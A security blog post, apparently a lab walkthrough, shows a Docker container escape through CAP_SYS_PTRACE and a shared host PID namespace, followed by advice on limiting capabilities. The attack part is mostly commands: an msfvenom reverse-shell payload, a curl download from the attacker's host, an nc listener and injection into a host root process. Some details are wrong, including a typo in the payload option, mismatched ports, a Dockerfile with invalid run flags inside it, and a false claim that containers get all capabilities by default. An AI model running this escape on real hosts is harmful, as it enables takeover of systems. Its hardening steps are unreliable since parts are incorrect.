Container SecurityJuly 1, 2023Exploiting Excessive Container Capabilities

In this blog post, we will explore the concept of container capabilities in Docker and delve into the potential risks associated with excessive privileges. We’ll walk through an example scenario where an attacker exploits container capabilities to escape the Docker container and gain unauthorized access to the host system. Finally, we’ll discuss the importance of limiting capabilities in Docker environments and provide steps to enhance the security of your containers. 

When you run a Docker container with the –privileged=true flag or grant it dangerous capabilities, it essentially grants extensive privileges to the container. This means that the container can perform tasks that are typically restricted. Furthermore, it bypasses the limitations imposed by the device cgroup controller. In simpler terms, the container gains almost the same access and functionality as the host machine. 

Let’s gain a better understanding of what capabilities are.

Capabilities are like special powers given to processes in a Linux-based operating system. They determine what a process can do and control within the system. Here are a few examples to help you understand: 

Imagine CAP_NET_ADMIN as a capability that lets a process handle network-related tasks such as configuring interfaces or setting up firewalls. It’s like having the authority to manage the system’s networking without needing full superuser privileges. 

CAP_SYS_PTRACE is like a permission to peek into other processes and troubleshoot them. It allows a process to observe program execution, examine memory, and gain insights into their behavior. 

When a process has CAP_DAC_OVERRIDE, it’s as if they have the power to bypass file permissions set by owners or the system. They can access files and directories that would normally be off-limits. 

CAP_SYS_ADMIN is a heavy-duty capability that grants a process administrative power. It’s akin to having a master key that enables tasks like mounting and unmounting filesystems, tweaking kernel settings, managing devices, and handling user namespaces. 

CAP_SETUID and CAP_SETGID are like abilities to transform oneself. Processes with these capabilities can change their user or group identities, allowing them to operate in different contexts. It’s like wearing different hats depending on the situation, ensuring controlled and restricted execution environments. 

You can use the capsh command to see granted capabilities: 

$ capsh --print  

Exploiting Container Capabilities 

To demonstrate this attack, we will use the lab setup by madhuakula. For this task, we will assume that we have managed to gain a foothold in the container from something such as a vulnerable website running in a container. 

Let’s start by investigating capabilities by running capsh –print  

We can observe that the container has cap_sys_ptrace capability. 

Also, Check if the container has enabled –pid=host so we can access the host process. 

You can use the pscap program found in the libcap-ng-utils package to obtain a list of programs that have been endowed with specific capabilities on the host.  pscap will only list programs with granted capabilities, while unprivileged processes will not appear in the list. This will confirm if the container has the –pid host enabled 

With cap_sys_ptrace and –pid=host, the container can trace and monitor processes running on the host system, even those outside the container’s own process namespace. This includes attaching to running processes, reading and writing their memory, inspecting their registers, and controlling their execution. 

The flag –pid=host allows a container to operate within the same process namespace as the host system. Essentially, this configuration enables the container to observe and interact with the processes running on the host as if directly running on it. 

By having the ability to list host processes and possessing the sys_ptrace capability, an attacker can exploit this situation to introduce and execute code from within the address space of any host process. As a consequence, this allows for a docker escape since the attacker gains the capability to execute code outside the container. 

After identifying the capabilities, it is time to generate a reverse shell payload. 

We will use Metasploit’s msfvenom program to generate a reverse shell payload 

$ msfvenom -p linux/x64/shell_reverse_tcp LOST=192.168.56.3 LPORT=4444 -f raw -o payload.bin 

 

Now we need to send this payload to the container using a simple Python server. 

Let’s first zip the folder (linux-injector). 

$ tar -czf linux-injector.tar.gz linux-injector 
$ python -m SimpleHTTPServer 8080 

 Downloading the payload in the container.  

$ curl -o linux-injector.tar.gz http://192.168.56.3:8002/linux-injector.tar.gz 
$ tar xzf linux-injector.tar.gz 
$ cd linux-injector 
$ chmod 755 injector 

 

 Start the nc listener to receive the call back shell in another terminal. 

$ nc -lvp 444 

 In the container, identify the process running as root in the host system to gain root access for a callback. 

$ ps auxx | grep root | grep ping 

 After identifying the process, run the injector with the following PID and the payload.bin 

$ injector 2046 payload.bin 

 

On successful injection of payload, we get a reverse connection at our listener with access to the host system outside the container. 

Limit Capabilities 

To prevent unauthorized access to your Docker environment, it is important to limit capabilities. Capabilities are special privileges that process running on the host system are granted, and by default, all Docker containers have access to all capabilities. 

To limit capabilities, follow these steps: 

Identify the capabilities required by your container. Run the container with the –cap-add=ALL flag and inspect the capabilities listed in the output of the capsh –print command. 

The –cap-drop option allows you to drop specific capabilities from the container’s capabilities set. For example, to drop the SYS_ADMIN capability, you can use the following command when running the container: 

$ docker run --cap-drop SYS_ADMIN <image> 

Similarly, the –cap-add option allows you to add specific capabilities to the container’s capabilities set. Modify your Dockerfile to include only the required capabilities. For example, if your container requires only the NET_ADMIN and SYS_TIME capabilities, add the following lines to your Dockerfile: 

FROM ubuntu 
RUN apt-get update && apt-get install -y nginx 
USER nginx 
CMD ["nginx"] 
--cap-add=NET_ADMIN 
--cap-add=SYS_TIME 
--security-opt=no-new-privileges 

Build and run your Docker image as usual. Your container will now have access only to the specified capabilities, which can help prevent unauthorized access and improve the security of your Docker environment. 

Limiting capabilities is a powerful but complex security measure, and it is important to thoroughly test your container to ensure that it has all the capabilities it needs to function correctly. 

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. If you want to improve your organization’s security posture, contact us today to discuss your security testing needs. Our team of security professionals can help you identify vulnerabilities and weaknesses in your systems and provide recommendations to remediate them.

“Join us on our journey of growth and development by signing up for our comprehensive courses.

Gaurav Patil

by Gaurav Patil

Associate Security Consultant | Redfox Security